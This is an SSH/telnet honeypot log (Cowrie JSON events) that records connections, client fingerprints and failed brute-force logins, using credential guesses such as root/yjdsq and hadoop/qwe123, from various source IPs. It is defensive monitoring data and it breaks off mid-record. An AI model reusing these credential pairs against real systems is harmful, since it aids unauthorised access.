{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":46066,"dst_ip":"10.17.0.5","dst_port":22,"session":"28582d9f3775","protocol":"ssh","message":"New connection: 80.66.85.226:46066 (10.17.0.5:22) [session: 28582d9f3775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:13.529026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:13.534045Z","src_ip":"80.66.85.226","session":"28582d9f3775","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.24.5","src_port":55240,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0c55df451e3","protocol":"ssh","message":"New connection: 67.231.24.5:55240 (10.17.0.5:22) [session: e0c55df451e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:13.569387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:13.574045Z","src_ip":"67.231.24.5","session":"e0c55df451e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:13.624245Z","src_ip":"80.66.85.226","session":"28582d9f3775","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:13.630541Z","src_ip":"67.231.24.5","session":"e0c55df451e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gamefi321","password":"gamefi321","message":"login attempt [gamefi321/gamefi321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:13.782933Z","src_ip":"67.231.24.5","session":"e0c55df451e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spring938burston0001990","message":"login attempt [root/spring938burston0001990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:13.903639Z","src_ip":"80.66.85.226","session":"28582d9f3775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:14.810945Z","src_ip":"67.231.24.5","session":"e0c55df451e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:14.999263Z","src_ip":"80.66.85.226","session":"28582d9f3775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.56169939041138,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:18.855302Z","src_ip":"170.64.224.25","session":"62dd16f06485","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56112,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a7a71b7c68e","protocol":"ssh","message":"New connection: 8.210.75.243:56112 (10.17.0.5:22) [session: 7a7a71b7c68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:25.654140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:25.658355Z","src_ip":"8.210.75.243","session":"7a7a71b7c68e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":54766,"dst_ip":"159.203.135.109","dst_port":22,"session":"486d04d46fc8","protocol":"ssh","message":"New connection: 159.65.58.200:54766 (159.203.135.109:22) [session: 486d04d46fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:26.793865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:27.115307Z","src_ip":"159.65.58.200","session":"486d04d46fc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:27.118548Z","src_ip":"159.65.58.200","session":"486d04d46fc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:28.006196Z","src_ip":"8.210.75.243","session":"7a7a71b7c68e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"serubin","password":"123456","message":"login attempt [serubin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:28.787985Z","src_ip":"159.65.58.200","session":"486d04d46fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:30.099269Z","src_ip":"159.65.58.200","session":"486d04d46fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.75730752944946,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:33.681878Z","src_ip":"170.64.224.25","session":"6c4de3a990b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.42454433441162,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:34.721903Z","src_ip":"170.64.224.25","session":"1468c8873843","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":39976,"dst_ip":"10.17.0.5","dst_port":22,"session":"327fe9bceaf7","protocol":"ssh","message":"New connection: 8.210.75.243:39976 (10.17.0.5:22) [session: 327fe9bceaf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:47.832497Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:40:49.656801Z","src_ip":"8.210.75.243","session":"33fc986cd18c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.116.158","src_port":38648,"dst_ip":"159.203.135.109","dst_port":23,"session":"2947500e180a","protocol":"telnet","message":"New connection: 167.172.116.158:38648 (159.203.135.109:23) [session: 2947500e180a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:01.188431Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":56704,"dst_ip":"10.17.0.5","dst_port":22,"session":"c36ac898a4e2","protocol":"ssh","message":"New connection: 91.92.40.4:56704 (10.17.0.5:22) [session: c36ac898a4e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:27.792217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:27.796676Z","src_ip":"91.92.40.4","session":"c36ac898a4e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:27.889454Z","src_ip":"91.92.40.4","session":"c36ac898a4e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"qwe123","message":"login attempt [hadoop/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:28.283553Z","src_ip":"91.92.40.4","session":"c36ac898a4e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:29.367069Z","src_ip":"91.92.40.4","session":"c36ac898a4e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52084,"dst_ip":"10.17.0.5","dst_port":22,"session":"e48fc45c5c25","protocol":"ssh","message":"New connection: 8.210.75.243:52084 (10.17.0.5:22) [session: e48fc45c5c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:30.429849Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44484,"dst_ip":"159.203.135.109","dst_port":23,"session":"22028dc6541f","protocol":"telnet","message":"New connection: 170.64.224.25:44484 (159.203.135.109:23) [session: 22028dc6541f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:30.762372Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":35946,"dst_ip":"10.17.0.5","dst_port":22,"session":"480bc31aee46","protocol":"ssh","message":"New connection: 8.210.75.243:35946 (10.17.0.5:22) [session: 480bc31aee46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:47.684679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:47.688142Z","src_ip":"8.210.75.243","session":"480bc31aee46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":35864,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b0e0ac27163","protocol":"ssh","message":"New connection: 143.20.185.207:35864 (159.203.135.109:22) [session: 2b0e0ac27163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:49.536831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:49.539638Z","src_ip":"143.20.185.207","session":"2b0e0ac27163","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:49.689215Z","src_ip":"143.20.185.207","session":"2b0e0ac27163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZVPS4VCPU16GBAMD","message":"login attempt [root/XYZZVPS4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:50.045775Z","src_ip":"143.20.185.207","session":"2b0e0ac27163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":33646,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ff9c325f2fc","protocol":"ssh","message":"New connection: 62.133.62.83:33646 (10.17.0.5:22) [session: 2ff9c325f2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:51.149094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:51.153518Z","src_ip":"62.133.62.83","session":"2ff9c325f2fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:51.161740Z","src_ip":"143.20.185.207","session":"2b0e0ac27163","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:51.232559Z","src_ip":"62.133.62.83","session":"2ff9c325f2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yjdsq","message":"login attempt [root/yjdsq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:51.472346Z","src_ip":"62.133.62.83","session":"2ff9c325f2fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:41:52.553875Z","src_ip":"62.133.62.83","session":"2ff9c325f2fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":61168,"dst_ip":"159.203.135.109","dst_port":22,"session":"51944983ff0d","protocol":"ssh","message":"New connection: 182.93.7.194:61168 (159.203.135.109:22) [session: 51944983ff0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:00.193514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:42:00.196944Z","src_ip":"182.93.7.194","session":"51944983ff0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","a